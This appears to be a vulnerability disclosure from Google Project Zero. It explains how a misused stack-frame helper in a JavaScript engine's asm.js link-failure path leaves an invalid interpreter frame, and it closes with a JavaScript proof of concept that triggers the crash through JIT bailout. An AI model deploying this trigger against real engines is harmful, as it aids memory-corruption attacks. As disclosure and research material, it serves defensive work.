<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1277
PushPopFrameHelper is a class that pushes the current stack frame object in its constructor and pops it in the destructor. So it should be used like "PushPopFrameHelper holder(...)", but InterpreterStackFrame::ProcessLinkFailedAsmJsModule uses it like a function.
Var InterpreterStackFrame::ProcessLinkFailedAsmJsModule()
{
...
PushPopFrameHelper(newInstance, _ReturnAddress(), _AddressOfReturnAddress());
...
}
It pushes "newInstance" and immediately pop it.
The PoC will crash in the following code.
void BailOutRecord::ScheduleLoopBodyCodeGen(Js::ScriptFunction * function, Js::ScriptFunction * innerMostInlinee, BailOutRecord const * bailOutRecord, IR::BailOutKind bailOutKind)
{
...
Js::InterpreterStackFrame * interpreterFrame = executeFunction->GetScriptContext()->GetThreadContext()->GetLeafInterpreterFrame(); <<-- Invalid stack frame object
loopHeader = executeFunction->GetLoopHeader(interpreterFrame->GetCurrentLoopNum()); <<-- interpreterFrame->GetCurrentLoopNum() == -1
...
}
PoC:
-->
function asmModule() {
'use asm';
let a = [1, 2, 3, 4];
for (let i = 0; i < 0x100000; i++) { // JIT
a[0] = 1;
if (i === 0x30000) {
a[0] = {}; // the array type changed, bailout!!
}
}
function f(v) {
v = v | 0;
return v | 0;
}
return f;
}
asmModule(1);